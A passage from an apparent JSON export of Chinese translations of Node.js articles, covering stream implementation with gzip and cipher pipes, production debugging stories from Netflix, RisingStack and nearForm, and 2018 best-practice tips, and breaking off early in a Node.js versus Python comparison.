没有更多数据了\n\ninStream.pipe(process.stdout);\n```\n\n当我们 `push` 一个 `null` 值，这表示该流后续不会再有任何数据了。\n\n要使用这个可读流，我们可以把它连接到可写流 `process.stdout`。\n\n当我们执行以上代码时，所有读取自 `inStream` 的数据都会被显示到标准输出上。非常简单，但并不高效。\n\n在把该流连接到 `process.stdout` 之前，我们就已经推送了所有数据。更好的方式是只在使用者要求时**按需**推送数据。我们可以通过在可读流配置中实现 `read()` 方法来达成这一目的：\n\n```js\nconst inStream = new Readable({\n  read(size) {\n    // 某人想要读取数据\n  }\n});\n```\n\n当可读流上的 read 方法被调用时，流实现可以向队列中推送部分数据。例如，我们可以从字符编码 65（表示字母 A） 开始，一次推送一个字母，每次都把字符编码加 1：\n\n```js\nconst inStream = new Readable({\n  read(size) {\n    this.push(String.fromCharCode(this.currentCharCode++));\n    if (this.currentCharCode > 90) {\n      this.push(null);\n    }\n  }\n});\n\ninStream.currentCharCode = 65\n\ninStream.pipe(process.stdout);\n```\n\n\n\n当使用者读取该可读流时，`read` 方法会持续被触发，我们不断推送字母。我们需要在某处停止该循环，这就是为何我们放置了一个 if 语句以便在 currentCharCode 大于 90（代表 Z） 时推送一个 null 值。\n\n这段代码等价于之前的我们开始时编写的那段简单代码，但我们已改为在使用者需要时推送数据。你始终应该这样做。\n\n#### 实现双向/变换流 ####\n\n对于双向流，我们要在同一个对象上同时现实可读流和可写流。就好像是我们继承了两个接口。\n\n以下的例子实现了一个综合了前面提到的可读流与可写流功能的双向流：\n\n```js\nconst { Duplex } = require('stream');\n\nconst inoutStream = new Duplex({\n  write(chunk, encoding, callback) {\n    console.log(chunk.toString());\n    callback();\n  },\n\n  read(size) {\n    this.push(String.fromCharCode(this.currentCharCode++));\n    if (this.currentCharCode > 90) {\n      this.push(null);\n    }\n  }\n});\n\ninoutStream.currentCharCode = 65;\n\nprocess.stdin.pipe(inoutStream).pipe(process.stdout);\n```\n\n通过组合这些方法，我们可以通过该双向流读取从 A 到 Z 的字母还可以利用它的回传特性。我们把可读的 `stdin` 流接入这个双向流以利用它的回传特性同时又把它接入可写的 `stdout` 流以查看字母 A 到 Z。\n\n理解双向流的读取和写入部分是完全独立的这一点非常重要。它只不过是把两种特性在同一个对象上实现罢了。\n\n变换流是一种更有趣的双向流，因为它的输出是基于输入运算得到的。\n\n对于一个变换流，我们不需要实现 `read` 或 `write` 方法，而是只需要实现一个 `transform` 方法即可，它结合了二者的功能。它的函数签名和 `write` 方法一致，我们也可以通过它 `push` 数据。\n\n以下是一个把你输入的任何内容转换为大写字母的变换流：\n\n```js\nconst { Transform } = require('stream');\n\nconst upperCaseTr = new Transform({\n  transform(chunk, encoding, callback) {\n    this.push(chunk.toString().toUpperCase());\n    callback();\n  }\n});\n\nprocess.stdin.pipe(upperCaseTr).pipe(process.stdout);\n```\n\n在这个变换流中，我们只实现了 `transform()` 方法，却达到了前面双向流例子的效果。在该方法中，我们把 `chunk` 转换为大写然后通过 `push` 方法传递给下游。\n\n#### 流对象模式 ####\n\n默认情况下，流接收的参数类型为 Buffer/String。我们可以通过设置 `objectMode` 参数使得流可以接受任何 JavaScript 对象。\n\n以下是一个简单的演示。以下变换流的组合用于把一个逗号分割的字符串转变成为一个 JavaScript 对象。传入 \"a,b,c,d\" 就变成了 `{a: b, c: d}`。\n\n```js\nconst { Transform } = require('stream');\nconst commaSplitter = new Transform({\n  readableObjectMode: true,\n  transform(chunk, encoding, callback) {\n    this.push(chunk.toString().trim().split(','));\n    callback();\n  }\n});\nconst arrayToObject = new Transform({\n  readableObjectMode: true,\n  writableObjectMode: true,\n  transform(chunk, encoding, callback) {\n    const obj = {};\n    for(let i=0; i < chunk.length; i+=2) {\n      obj[chunk[i]] = chunk[i+1];\n    }\n    this.push(obj);\n    callback();\n  }\n});\nconst objectToString = new Transform({\n  writableObjectMode: true,\n  transform(chunk, encoding, callback) {\n    this.push(JSON.stringify(chunk) + '\\n');\n    callback();\n  }\n});\nprocess.stdin\n  .pipe(commaSplitter)\n  .pipe(arrayToObject)\n  .pipe(objectToString)\n  .pipe(process.stdout)\n```\n\n我们给 `commaSplitter` 传入一个字符串（假设是 `\"a,b,c,d\"`），它会输出一个数组作为可读数据（`[“a”, “b”, “c”, “d”]`）。在该流上增加 `readableObjectMode` 标记是必须的，因为我们在给下游推送一个对象，而不是字符串。\n\n我们接着把 `commaSplitter` 输出的数组传递给了 `arrayToObject` 流。我们需要设置 `writableObjectModel` 以便让该流可以接收一个对象。它还会往下游推送一个对象（输入的数据被转换成对象），这就是为什么我们还需要配置 `readableObjectMode` 标志位。最后的 `objectToString` 流接收一个对象但却输出一个字符串，因此我们只需配置 `writableObjectMode` 即可。传递给下游的只是一个普通字符串。\n\n![](https://img11.360buyimg.com/uba/jfs/t5704/241/2983971686/10498/24064b45/59357c3aN4d192424.png)\n\n以上实例代码的使用方法\n\n#### Node 内置的变换流 ####\n\nNode 内置了一些非常有用的变换流。这就是 zlib 和 crypto 流。\n\n下面是一个组合了 `zlib.createGzip()` 和 `fs` 可读/可写流来压缩文件的脚本：\n\n```js\nconst fs = require('fs');\nconst zlib = require('zlib');\nconst file = process.argv[2];\n\nfs.createReadStream(file)\n  .pipe(zlib.createGzip())\n  .pipe(fs.createWriteStream(file + '.gz'));\n```\n\n你可以通过该脚本给任何参数中传入的文件进行 gzip 压缩。我们通过可读流读取文件内容传递给 zlib 内置的变换流，然后通过一个可写流来写入新文件。很简单吧。\n\n使用管道很棒的一点在于，如果有必要，我们可以把它和事件组合使用。例如，我希望在脚本执行过程中给用户一些进度提示，在脚本执行完成后显示一条完成消息。既然 `pipe` 方法会返回下游流，我们就可以把注册事件回调的操作级联在一起：\n\n```js\nconst fs = require('fs');\nconst zlib = require('zlib');\nconst file = process.argv[2];\n\nfs.createReadStream(file)\n  .pipe(zlib.createGzip())\n  .on('data', () => process.stdout.write('.'))\n  .pipe(fs.createWriteStream(file + '.zz'))\n  .on('finish', () => console.log('Done'));\n```\n\n所以使用 `pipe` 方法，我们可以很简单的使用流。当需要时，我们还可以通过事件来进一步定制和流的交互。\n\n`pipe` 方法的好处在于，我们可以用一种更加可读的方式通过若干片段**组合**我们的程序。例如，我们可以通过创建一个变换流来显示进度，而不是直接监听 `data` 事件。把 `.on()` 调用换成另一个 `.pipe()` 调用：\n\n```js\nconst fs = require('fs');\nconst zlib = require('zlib');\nconst file = process.argv[2];\n\nconst { Transform } = require('stream');\n\nconst reportProgress = new Transform({\n  transform(chunk, encoding, callback) {\n    process.stdout.write('.');\n    callback(null, chunk);\n  }\n});\n\nfs.createReadStream(file)\n  .pipe(zlib.createGzip())\n  .pipe(reportProgress)\n  .pipe(fs.createWriteStream(file + '.zz'))\n  .on('finish', () => console.log('Done'));\n```\n\n这个 `reportProgress` 流是一个简单的直通流，但同时报告了进度信息。请注意我是如何在 `transform()` 方法中利用 `callback()` 的第二个参数传递数据的。它等价于使用 push 方法推送数据。\n\n组合流的应用是无止境的。例如，假设我们需要在压缩文件之前或之后加密它，我们要做的只不过是在正确的位置引入一个新的变换流。我们可以使用 Node 内置的 `crypto` 模块：\n\n```\n**const crypto = require('crypto');\n**// ...\n```\n\n```js\nconst crypto = require('crypto');\n// ...\nfs.createReadStream(file)\n  .pipe(zlib.createGzip())\n  .pipe(crypto.createCipher('aes192', 'a_secret'))\n  .pipe(reportProgress)\n  .pipe(fs.createWriteStream(file + '.zz'))\n  .on('finish', () => console.log('Done'));\n\n```\n\n以上的脚本对给定的文件先压缩再加密，只有知道秘钥的人才能利用生成的文件。我们不能利用普通的解压工具解压该文件，因为它被加密了。\n\n要能真正的解压任何使用以上脚本压缩过的文件，我们需要以相反的顺序利用 crypto 和 zlib：\n\n```js\nfs.createReadStream(file)\n  .pipe(crypto.createDecipher('aes192', 'a_secret'))\n  .pipe(zlib.createGunzip())\n  .pipe(reportProgress)\n  .pipe(fs.createWriteStream(file.slice(0, -3)))\n  .on('finish', () => console.log('Done'));\n```\n\n假设传入的文件是压缩后的版本，以上的脚本会创建一个针对该文件的读取流，连接到一个 crypto 模块的 `createDecipher()` 流（使用相同的密钥），之后将输出传递给一个 zlib 模块的 `createGunzip()` 流，最后将得到的数据写入一个没有压缩文件扩展名的文件。\n\n以上就是我关于本主题要讨论的全部内容了。感谢阅读！下次再见！\n\n**如果你认为这篇文件对你有帮助，请点击下方的💚。关注我以获取更多关于 Node.js 和 JavaScript 的文章。**\n\n我为 [Pluralsight](https://www.pluralsight.com/search?q=samer+buna&amp;categories=course) 和 [Lynda](https://www.lynda.com/Samer-Buna/7060467-1.html) 制作在线课程。我最近的课程是 [React.js 入门](https://www.pluralsight.com/courses/react-js-getting-started), [高级 Node.js](https://www.pluralsight.com/courses/nodejs-advanced), 和[学习全栈 JavaScript](https://www.lynda.com/Express-js-tutorials/Learning-Full-Stack-JavaScript-Development-MongoDB-Node-React/533304-2.html)。\n\n我还进行**线上与现场培训**，内容涵盖 JavaScript，Node.js，React.js 和 GraphQL 从初级到高级的全部范围。如果你在寻找一名讲师，[请联系我](mailto:samer@jscomplete.com)。我将在今年七月份的 Foward.js 上进行 6 场现场讲习班，其中一场是 [Node.js 进阶](https://forwardjs.com/#node-js-deep-dive)\n\n如果关于本文或任何我的其他文章有疑问，你可以通过[这个 **slack** 账号](https://slack.jscomplete.com/)找到我并在 #questions 房间里提问。\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)。\n"
  },
  {
    "path": "TODO/node-js-war-stories-solving-issues-in-production.md",
    "content": "> * 原文地址：[Node.js War Stories: Debugging Issues in Production](https://blog.risingstack.com/node-js-war-stories-solving-issues-in-production-2/)\n> * 原文作者：[Gergely Nemeth](https://blog.risingstack.com/author/gergely/)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 译者：[mnikn](https://github.com/mnikn)\n> * 校对者：[lsvih](https://github.com/lsvih)、[Aladdin-ADD](https://github.com/Aladdin-ADD)\n\n# Node.js 之战: 在生产环境中调试错误 #\n\n在这篇文章,**这篇文章讲述了 Netflix、RisingStack 和 nearForm 在生产环境中遇到 Node.js 错误的故事** - 因此你可以此为鉴，避免犯上同样的错误。同时你将会学到如何调试 Node.js 的错误。\n\n**感谢来自 Netflix 的 Yunong Xiao、来自 Strongloop 的 NearForm 和来自 Shubhra Kar 的 Matteo Collina 对这篇文章的见解与帮助。**\n\n过去4年里，我们在 RisingStack 的生产环境中运行 Node 应用，积累了许多相关经验 -  感谢 [Node.js 咨询、学习和开发](https://risingstack.com/) 的业务支持。\n\nNetflix 和 nearForm 的 Node 开发团队都一样，我们都有把调试过程记录下来的习惯，因此整个开发团队 (现在是全世界的开发团队) 都可以从我们的错误中学习。 \n\n## Netflix 与 Node 调试: 了解你的依赖库 ##\n\n**让我们慢慢阅读我们的朋友 Yunong Xiao 在 Netflix 发生的故事。**\n\nNetflix 的开发团队发现他们的应用的响应时间在逐渐变长 - 他们部分终端的延迟每小时增加 10 ms。 \n\n同时，CPU 使用率的上升也反映了问题的存在。\n\n![Netflix debugging Nodejs in production with the Request latency graph](https://blog-assets.risingstack.com/2017/04/Netflix-debugging-Nodejs-in-production---Request-latency-graph.png)\n\n**不同时间段请求的传输时间 - 图片来源: Netflix**\n\n一开始，他们调查是否是 request handler 造成其响应时间变长。 \n\n**在隔离测试后,他们发现 request handler 的响应时间稳定在 1 ms 左右。**\n\n所以问题并不是这个，他们开始怀疑到底层，是不是栈出现了问题。\n\n接下来 Yunong 和 Netflix 开发团队的尝试是这个 [CPU 火焰图](http://www.brendangregg.com/FlameGraphs/cpuflamegraphs.html) 和 Linux [性能事件](https://perf.wiki.kernel.org/index.php/Main_Page)。\n\n![Flame graph of Netflix Nodejs slowdown](https://blog-assets.risingstack.com/2017/04/Flame-graph-of-Netflix-Nodejs-slowdown.png)\n\n**火焰图反映了 Netflix 的响应速度正在变慢 - 图片来源: Netflix**\n\n**你可以从火焰图中看到的东西是**\n\n- 它有一些很高的栈 **（这代表有许多函数被调用）**\n- 并且一些矩形很宽 **（代表我们在这些函数中耗费了一些时间）**\n\n经过深入调查，开发团队发现 Express 的 `router.handle` 和 `router.handle.next` 有许多引用。\n\n> Express.js 的源代码揭示了一系列有趣的事情：\n> \n> - 所有终端的 Route handlers 都储存在一个全局数组中。\n> - Express.js 递归地遍历并唤醒所有 handlers 直到它找到合适的 route handler。\n\n**在揭示谜题的解决方案前，我们需要知道更多的细节：**\n\nNetflix 的底层代码包含了每 6 分钟运行的定时代码，从拓展资源中抓取新的路由配置信息，更新应用的 route handlers 从而响应改变的信息。\n\n这些是通过删除并添加新的 handlers 来实现的。意外的是，同时它再一次添加了相同的静态 handler - 甚至是以前的 API route handlers。**这造成的结果是，响应时间额外增加了 10 ms。**\n\n### 从 Netflix 的错误中获取的教训 ###\n\n- **一定要了解你的依赖库** - 首先，你必须在生产环境中使用它们之前，彻底地了解它们。\n- **可观察性是关键** - 火焰图帮助 Netflix 工程团队解决了问题。\n\n> 从这里阅读整个故事: [火焰图中的 Node.js](http://techblog.netflix.com/2014/11/nodejs-in-flames.html)。\n\n#### 当你最需要帮助时候的专家指引\n\n##### 商业化 Node.js，由 RisingStack 提供\n[了解更多](https://risingstack.com/nodejs-support?utm_source=rsblog&amp;utm_medium=roadblock-new&amp;utm_campaign=trace&amp;utm_content=/node-js-war-stories-solving-issues-in-production-2/) \n\n## RisingStack CTO: \"加密是要花时间的\" ##\n\n你可能已经听过我们的故事 [拆分单体式应用的故事](https://www.youtube.com/watch?v=k9QZ4oIOHnk)，我们的 CTO Peter Marton 把 [Trace **(我们的 Node.js 监控系统)**](https://trace.risingstack.com) 分离成多个微服务模块。\n\n**我们现在讨论的错误是 Trace 开发时的响应速度变慢：**\n\n作为一个在 PaaS 运行的 早期 Trace 版本，它通过公共云来与我们的其他服务通信。\n\n为了确保我们的请求是完整的，我们决定对所有请求进行签名。为了实现这个，我们看了 Joyent 的 [HTTP signing library](https://github.com/joyent/node-http-signature)。很棒的是，[request](https://www.npmjs.com/package/request) 这一模块支持开箱即用的HTTP签名。\n\n**解决方案代价不仅很大，而且会对我们的响应速度造成不好的影响。**\n\n![network delay in nodejs request visualized by trace](https://blog-assets.risingstack.com/2017/04/network-delay-in-nodejs-request-visualized-by-trace.png)\n\n**网络延迟增加了我们的响应时间 - 图片来源: Trace**\n\n从图中可看到，所给定的终端响应速度为 180 ms，然而对于总体来说，**单独两个服务的网络延迟只是 100 ms**。\n\n一开始，我们 [用 Kubernetes 转移 PaaS provider](/moving-node-js-from-paas-to-kubernetes-tutorial/)。我们希望响应速度会快一点，这样内部网络就会平衡。\n\n> 我们的方法奏效了 - 终端的响应速度提高了。\n\n然而，我们想要更好的结果 - 大幅度降低 CPU 的使用率。下一步是分析 CPU 的使用情况，就像 Netflix 的人们做的一样：\n\n![crypto sign function taking up cpu time](https://blog-assets.risingstack.com/2017/04/crypto-sign-function-taking-up-cpu-time.png)\n\n从截图可以看出，`crypto.sign` 函数消耗的 CPU 时间最多,每次请求花费 10 ms。为了解决这个问题，你有两种选择：\n\n- 如果你在可信任的环境中运行应用，你可以去除请求签名，\n- 如果你在不可信的环境中运行，你可以升级你的机器让它拥有更强大的 CPU。\n\n### 从 Peter Marton 中获取的教训  ###\n\n- **服务之间的终端信息传输会对用户体验有巨大的影响** - 尽可能的平衡内部网络。\n- **加密可能会消耗大量时间**。\n\n## nearForm: 不要堵塞 Node.js 的事件循环 ##\n\n**React 现在很流行**。开发者在前端和后端都会使用它，甚至他们更进一步用它来构建同构的 JavaScript 应用。\n\n> 然而，渲染 React 页面会让 CPU 有挺大的负担，当绘制复杂的 React 内容时会受到 CPU 限制。\n\n当你的 Node.js 正在进行绘制，它会堵塞事件循环，因为它的行为都是基于同步的。\n\n结果就是，**服务器可能会毫无反应** - 当请求堆积起来，会把所有的负担都堆在 CPU 上。\n\n更糟的是即使请求端已经关闭，请求仍然会被处理 - 仍然会对 Node.js 应用造成负担，nearForm  对此有解释 [Matteo Collina](https://github.com/mcollina)。\n\n**不仅是 React，大多数字符串操作也会这样。** 如果你在构建 JSON REST APIs，你应该花心思在 `JSON.parse` 和 `JSON.stringify`。\n\nStrongloop（现在是 Joyent) 的 Shubhra Kar 对此解释是，解析和转化成 JSON 字符串的等消耗巨大的操作也会消耗大量时间 **（同时在这期间会堵塞事件循环）**。\n\n```\nfunctionrequestHandler(req, res) {  \n  const body = req.rawBody\n  let parsedBody\n  try {\n    parsedBody = JSON.parse(body)\n  }\n  catch(e) {\n     res.end(newError('Error parsing the body'))\n  }\n  res.end('Record successfully received')\n}\n\n```\n\n**简易的 request handler**\n\n这个例子展示了一个简易的 request handler，用来解析 body。对于内容不多的情况下，它运行的挺好 - 然而，**如果 JSON 的大小要以兆来描述的话，可能会花费数秒的时间来执行** 而不是在毫秒时间内执行。同理 `JSON.stringify` 也一样。\n\n为了缓解这个问题，首先你要了解它们。为此，你可以用 Matteo 的 [loopbench](https://github.com/mcollina/loopbench) 模块，或者 [Trace](https://trace.risingstack.com) 的事件循环度量功能。\n\n通过 `loopbench`，如果请求没有被实现，你可以返回状态码 503 给负载平衡器。为了启用这项功能，你要使用选项 `instance.overLimit`。这样 ELB 或者 NGINX 可以在不同的后端中重试，这样请求有可能会被处理。\n\n一旦你了解这个问题并理解它，你就能开始修正它 - 你可以通过平衡 Node.js 流或者改变正在使用的架构来进行修正。\n\n### 从 nearForm 中获取的教训 ###\n\n- **总要留心对 CPU 负担大的操作** - 这类的操作越多，在你的事件循环里对 CPU 造成的压力越大。\n- **字符串操作会对 CPU 造成巨大负担**\n\n## 在生产环境中调试 Node.js 错误 ##\n\n我希望 Netflix、RisingStack 和 nearForm 的例子会对你在生产环境中调试 Node.js 应用有帮助。\n\n如果你想要了解更多，我建议看下最近这些文章，它们会加深你的 Node 知识：\n\n- [案例学习：在 Ghost 中查找 Node.js 内存泄漏](https://blog.risingstack.com/case-study-node-js-memory-leak-in-ghost/)\n- [理解 Node.js 事件循环](https://blog.risingstack.com/node-js-at-scale-understanding-node-js-event-loop/)\n- [解释 Node.js 垃圾回收](https://blog.risingstack.com/node-js-at-scale-node-js-garbage-collection/)\n- [Node.js 异步最佳实践和如何避免回调地狱](https://blog.risingstack.com/node-js-async-best-practices-avoiding-callback-hell-node-js-at-scale/)\n- [Node.js 的事件溯源示范](https://blog.risingstack.com/event-sourcing-with-examples-node-js-at-scale/)\n- [正确地开始 Node.js 测试和 TDD](https://blog.risingstack.com/getting-node-js-testing-and-tdd-right-node-js-at-scale/)\n- [10个 Node.js REST APIs 最佳实践](https://blog.risingstack.com/10-best-practices-for-writing-node-js-rest-apis/)\n- [使用 Nightwatch.js 对 Node.js 进行端到端测试](https://blog.risingstack.com/end-to-end-testing-with-nightwatch-js-node-js-at-scale/)\n- [监测 Node.js 应用的最终指南](https://blog.risingstack.com/monitoring-nodejs-applications-nodejs-at-scale/)\n\n如有任何疑问，请留下评论让我们知道！\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)。\n"
  },
  {
    "path": "TODO/nodejs-best-practices-how-to-become-a-better-developer-in-2018.md",
    "content": "> * 原文地址：[Node.js Best Practices - How to become a better Node.js developer in 2018](https://nemethgergely.com/nodejs-best-practices-how-to-become-a-better-developer-in-2018/)\n> * 原文作者：[GERGELY NEMETH](https://nemethgergely.com/)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO/nodejs-best-practices-how-to-become-a-better-developer-in-2018.md](https://github.com/xitu/gold-miner/blob/master/TODO/nodejs-best-practices-how-to-become-a-better-developer-in-2018.md)\n> * 译者：[Yong Li](https://github.com/NeilLi1992)\n> * 校对者：[guoyang](https://github.com/gy134340) [moods445](https://github.com/moods445)\n\n# Node.js 最佳实践 —— 如何在 2018 年成为更好的 Node.js 开发者\n\n在过去两年中，每年写一篇关于来年如何成为更好的 Node.js 开发者的建议已经成了我自己的传统。今年也不例外！🤗\n\n如果你对我之前的新年建议感兴趣，你可以在 RisingStack 博客上阅读：\n\n* [如何在 2016 年成为更好的 Node.js 开发者](https://blog.risingstack.com/how-to-become-a-better-node-js-developer-in-2016/)\n* [如何在 2017 年成为更好的开发者](https://blog.risingstack.com/node-js-best-practices-2017/)\n\n话不多说，一起来看 2018 年的建议！\n\n## 采用 `async-await`\n\n随着 Node.js 8 的发布，`async` 函数已经普遍可用了。有了 `async` 函数的存在，你可以替换掉回调，写出读起来和同步代码一样的异步代码。\n\n但什么是 `async` 函数？让我们回顾一下 [Node.js Async 函数最佳实践](https://nemethgergely.com/async-function-best-practices/) 一文：\n\n`async` 函数可以让你写出读起来像是同步代码的，但实际基于 `Promise` 的代码。一旦你使用了 `async` 关键字来定义函数，你就可以在函数体内使用 `await` 关键字。`async` 函数被调用时，它会返回一个 `Promise`。当 `async` 函数体中返回一个值时，该 `Promise` 完成（fulfilled）。当 `async` 函数抛出错误时，该 `Promise` 失败（rejected）。\n\n`await` 关键字可以用来等待一个 `Promise` 完成并且返回结果值。如果传给 `await` 关键字的值不是一个 `Promise`，它会将其转换成一个已完成的 `Promise`。\n\n如果你想掌握 `async` 函数，我推荐你浏览这些资源：\n\n* [Learning to throw again](https://hueniverse.com/learning-to-throw-again-79b498504d28)\n* [Catching without awating](https://hueniverse.com/catching-without-awaiting-b2cb7df45790)\n* [Node.js async function best practices](https://nemethgergely.com/async-function-best-practices/)\n\n## 让你的应用优雅地中止\n\n当你部署应用的新版本时，必须更换旧版本。你使用的，**不管是 Heroku, Kubernetes, supervisor 还是任何其它的**进程管理器，会首先给应用发送一个 `SIGTERM` 信号，来通知它即将被中止。一旦应用得到了该信号，它应该**停止接受新的请求，完成所有正在处理中的请求，并且清理它使用的资源**。资源通常包含了数据库连接和文件锁。\n\n为了让这一过程更简单，我们在 GoDaddy 上发布了名为 [terminus](https://github.com/godaddy/terminus) 的开源模块，来帮助你的应用实现优雅中止。[现在就来看看 ☺️](https://github.com/godaddy/terminus)\n\n## 在公司内采用相同的风格指南\n\n在一个有上百人开发团队的公司中采用风格指南是很有挑战性的 —— 让每个人都认可同一套规则简直难如登天。\n\n恕我直言：你永远无法让上百个开发者认可同一组准则，即使这能带来显而易见的收益，譬如让团队更快地在项目间切换，而无需费时费力来习惯一套新的（即使只有一点儿不同）代码编写风格。\n\n如果你正是工作在这种团队氛围中，我发现最好的办法是信任某位经验丰富的程序员，和其他人共同努力来决定风格指南包含哪些准则，但他要有最终决定权。在所有人都能遵循同一套准则之前，该准则的具体内容并不重要（我不想引发关于分号的争吵）。重要的是必须在某一刻有所决定。\n\n## 把安全当做必备条件\n\n我们看到越来越多的公司被列在 [haveibeenpwned](https://haveibeenpwned.com/) 上 —— 我打赌你不想成为下一个。当你向你的用户发布一段新代码的时候，代码审核应该包含安全领域的专家。如果你公司内没有这样的人才，或者他们非常非常忙，一个很好的解决办法是和类似 [Lift Security](https://liftsecurity.io/reviews/) 这样的公司合作。\n\n而你作为一名开发者，同样应该努力更新你的安全知识。为此，我推荐你阅读这些材料：\n\n* [Node.js 安全检查清单](https://blog.risingstack.com/node-js-security-checklist/)\n* [「开放网络应用安全项目」网站](https://www.owasp.org/index.php/Main_Page)\n* [Snyk 博客](https://snyk.io/blog/)\n\n## 在见面会或会议上演讲\n\n另一个成为更好的开发者，甚至更好地学会表达自己的方法，就是在见面会或者会议上演讲。如果你从未试过，我推荐先从一个本地的见面会开始，再去尝试申请全国的或者国际的会议。\n\n我明白当众演讲会很难。当我准备我的第一次演说时，[Speaking.io](http://speaking.io/) 帮了我不少忙，我也推荐你去看看。如果你正在准备你的第一次演说，并且想要一些反馈的话，你可以在 [Twitter](https://twitter.com/nthgergo) 上找我谈谈，我很乐意帮忙！\n\n一旦你有了一个想要在会议上分享的主题，你可以在 Github 上查看到 [2018 Web 会议](https://github.com/asciidisco/web-conferences-2018/blob/master/README.md) 征文集合，这太棒了！\n\n## 直接使用新的浏览器 API 编写模块\n\n九月时 [Mikeal](https://medium.com/@mikeal) 在 [Modern Modules](https://medium.com/@mikeal/modern-modules-d99b6867b8f1) 上发布了一篇很好的文章。其中我最喜欢的一件事，就是使用浏览器 API 来编写模块，当必要时填补（polyfill）Node.js。由此而来的显著优势就是你可以将更小的 JavaScript 代码发布进浏览器中（并且让页面加载得更快）。另一方面，没人会在意你的后端依赖是不是太过繁重。\n\n## 采纳应用开发的 12-Factors 法则\n\n应用开发的 12-Factors 原则，描述了网络应用应当如何编写的最佳实践，因此它也出现在今年我的建议列表中了。\n\n随着 Kubernetes 和其它编排引擎的使用率不断提升，遵循 12-Factors 法则变得越来越重要。它们涵盖了以下领域：\n\n1. [一份基准代码，多份部署](http://12factor.net/codebase)\n2. [显示声明和分离依赖关系](http://12factor.net/dependencies)\n3. [在环境中存储配置](http://12factor.net/config)\n4. [把后端服务当做附加资源](http://12factor.net/backing-services)\n5. [严格分离构建和运行](http://12factor.net/build-release-run)\n6. [以一个或多个无状态进程运行应用](http://12factor.net/processes)\n7. [通过端口绑定提供服务](http://12factor.net/port-binding)\n8. [通过进程模型进行扩展](http://12factor.net/concurrency)\n9. [快速启动和优雅中止可最大化健壮性](http://12factor.net/disposability)\n10. [尽可能地保持开发、预发布、线上环境相同](http://12factor.net/dev-prod-parity)\n11. [把日志当做事件流](http://12factor.net/logs)\n12. [后台管理任务当做一次性进程运行](http://12factor.net/admin-processes)\n\n## 学习新的 ECMASCript 特性\n\n一些新的 ECMAScript 特性可以显著提升你的效率。它们可以帮你写出不言自明的清晰代码。其中我最爱的特性有（**老实说它们不是非常新了**）：\n\n* [扩展语法](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Spread_operator)\n* [剩余参数](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Functions/rest_parameters)\n* [解构](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Destructuring_assignment)\n* [Async 函数](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/async_function)\n\n如果你想知道新的 ECMAScript 特性的完整内容，我推荐阅读这本书 [ES6 & Beyond](https://github.com/getify/You-Dont-Know-JS/blob/master/es6%20&%20beyond/README.md#you-dont-know-js-es6--beyond)。\n\n* * *\n\n你想在这份列表中加入别的建议吗？请在留言中告诉我。\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO/nodejs-vs-python-where-to-use-and-where-not.md",
    "content": "> * 原文地址：[Node.js vs Python – Where to Use and Where not?](https://www.agriya.com/blog/2016/07/13/nodejs-vs-python-where-to-use-and-where-not/)\n> * 原文作者：[Agriya](https://www.agriya.com/blog/author/ace/)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 译者：[ymz1124](https://github.com/ymz1124)\n> * 校对者：[zaraguo](https://github.com/zaraguo), [sunui](https://github.com/sunui)\n\n# Node.js 和 Python 对比 —— 哪里使用 Node.js 哪里使用 Python ？\n\n![](https://www.agriya.com/blog/wp-content/uploads/2016/07/nodejs-vs-python.png)\n\n当谈到网站的后端开发时，开发人员可以容易地找到一些优雅的开发语言，比如 PHP、Python、C++ 和 JAVA 都是重要的网站开发语言。话虽如此，但是仍有一些 web 开发公司和开发者在没有任何合理的设计或一个确定的结构就开始创建网站和应用。在这里，他们可以找一些框架助力网站和应用的创建。比如 Laravel, Symfony, cake, Yii 等就是很好的 PHP 框架。简而言之，开发者创建网站和应用的选择非常多。\n\nNode.js 是一个强大的运行环境，开发者和许多 [Node.js 开发公司](https://www.agriya.com/services/node.js-development)用它来创建 web 解决方案。它是纯 JavaScript 的并且很容易学。Python 是一个纯服务器端的脚本语言，它有很多爱好者。有 Java 背景的开发者会觉得从 Java 转到 PHP 是一件很恐怖的事情，但从 Java 转到 Python 会舒服很多。一些资深开发者会同时使用 Node.js 和 Python。为了能在 web 解决方案中完全发挥出 Node.js 和 Python 